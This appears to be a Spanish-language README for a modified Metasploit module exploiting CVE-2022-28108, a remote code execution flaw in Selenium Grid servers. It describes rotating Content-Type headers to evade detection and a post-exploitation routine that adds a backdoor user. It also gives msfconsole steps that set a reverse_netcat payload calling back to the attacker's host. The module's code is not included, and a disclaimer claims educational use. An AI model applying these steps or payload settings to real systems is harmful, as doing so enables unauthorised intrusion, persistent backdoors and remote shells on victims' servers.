CVE-2022-28108

Cómo funciona el código original:

El módulo original de Metasploit explota esta vulnerabilidad enviando una solicitud POST manipulada al endpoint /wd/hub/session del servidor Selenium vulnerable. Esta solicitud utiliza un Content-Type que no es JSON (específicamente text/plain) e incluye configuraciones maliciosas dentro de goog:chromeOptions de las capacidades del navegador deseadas. Esto permite a un atacante especificar un binario arbitrario (como /usr/bin/python3) y argumentos para ejecutar en el servidor cuando se inicia una nueva sesión de navegador.

Modificaciones y mejoras en esta versión:

Este repositorio contiene una versión modificada del módulo original de Metasploit. Las modificaciones principales incluyen:

• Evasión de Content-Type: El módulo modificado intenta explotar la vulnerabilidad enviando la solicitud maliciosa con múltiples cabeceras Content-Type diferentes. Esto incluye text/plain, application/x-www-form-urlencoded y multipart/form-data. Esto se hace para potencialmente evadir mecanismos básicos de filtrado o detección que podrían estar buscando un Content-Type específico.
• Función execute_post_exploitation: Se ha añadido una nueva función execute_post_exploitation(session_response). Esta función se llama después de una explotación exitosa y tiene como objetivo realizar tareas básicas de post-explotación. En la implementación actual, incluye:
  • Intentar añadir un usuario de puerta trasera (backdoor) al sistema.
  • Recopilar información básica del sistema (nombre de usuario, ID, versión del kernel).
• Función execute_command_on_target: Se ha añadido otra nueva función execute_command_on_target(command). Esta función permite la ejecución de comandos arbitrarios en el sistema objetivo después de una explotación exitosa. Se utiliza dentro de la función execute_post_exploitation y puede extenderse para actividades posteriores de post-explotación.

Diferencias clave destacadas:

La diferencia principal reside en el método exploit y en la adición de las dos nuevas funciones.

• Método exploit original: Centrado en enviar una única solicitud con Content-Type: text/plain.
• Método exploit modificado: Itera a través de diferentes valores de Content-Type, intentando la explotación con cada uno. Tras una explotación exitosa, llama a la función execute_post_exploitation.
• Funciones nuevas: Las funciones execute_post_exploitation y execute_command_on_target son adiciones completamente nuevas de esta versión modificada, que proporcionan capacidades ampliadas de post-explotación.

Cómo usar el módulo modificado:

1. Asegúrese de tener Metasploit Framework instalado.
2. Guarde el código modificado: Guarde el código Ruby proporcionado como un archivo .rb (por ejemplo, selenium_rce_extended.rb).
3. Coloque el módulo en el directorio de módulos de Metasploit: Copie el archivo guardado al directorio de módulos de Metasploit correspondiente. Normalmente se encuentra en /usr/share/metasploit-framework/modules/exploits/ o ~/.msf4/modules/exploits/. Consulte su instalación de Metasploit para conocer la ubicación exacta.
4. Inicie la consola de Metasploit: Abra una terminal y ejecute msfconsole.
5. Cargue el módulo: En la consola de Metasploit, use el comando use exploit/selenium_rce_extended (o la ruta donde guardó el archivo si lo colocó en un subdirectorio).
6. Configure el objetivo: Establezca la dirección IP y el puerto del servidor Selenium vulnerable:
   root@kitploit:~

   msf6 exploit(selenium_rce_extended) > set RHOSTS <target_ip>
   msf6 exploit(selenium_rce_extended) > set RPORT <target_port>
   

   (El puerto predeterminado de Selenium Grid suele ser 4444).
7. Establezca el payload: Elija un payload para ejecutar en el sistema objetivo. Por ejemplo, para obtener una reverse shell:
   root@kitploit:~

   msf6 exploit(selenium_rce_extended) > set PAYLOAD cmd/unix/reverse_netcat
   msf6 exploit(selenium_rce_extended) > set LHOST <your_ip>
   msf6 exploit(selenium_rce_extended) > set LPORT <your_port>
   

8. Ejecute el exploit: Ejecute el módulo con el comando exploit.

Consideraciones importantes (Descargo de responsabilidad):

• Use este código de forma responsable y ética. Este módulo se proporciona con fines educativos y para que los profesionales de la seguridad prueben y evalúen la seguridad de sus sistemas.
• Asegúrese de tener permiso explícito para probar contra el sistema objetivo. El uso no autorizado de este código es ilegal y poco ético.
• Comprenda los riesgos implicados. Explotar vulnerabilidades puede tener consecuencias no deseadas y puede desestabilizar los sistemas objetivo.
• Pruebe en entornos aislados y controlados. Realice siempre las pruebas en entornos donde tenga control total y pueda mitigar cualquier daño potencial.
• Las funciones de post-explotación son ejemplos básicos. Puede que necesite modificarlas o ampliarlas según sus necesidades específicas y el entorno objetivo.

Descargo de responsabilidad:

Los autores de este código modificado no son responsables de ningún uso indebido o daño causado por el uso de este módulo. Al usar este código, usted acepta asumir toda la responsabilidad por sus acciones.

Licencia:

Este código modificado probablemente esté cubierto por la misma licencia que la del Metasploit Framework original (normalmente la Licencia MSF). Consulte la licencia del Metasploit Framework original para obtener más detalles.

Contribuciones:

Las contribuciones y mejoras a este módulo son bienvenidas. No dude en enviar pull requests con correcciones de errores, mejoras o nuevas funcionalidades.

Agradecimientos:

Reiteramos nuestro agradecimiento a los autores originales del módulo de Metasploit para CVE-2022-28108. Su trabajo constituye la base de este módulo modificado.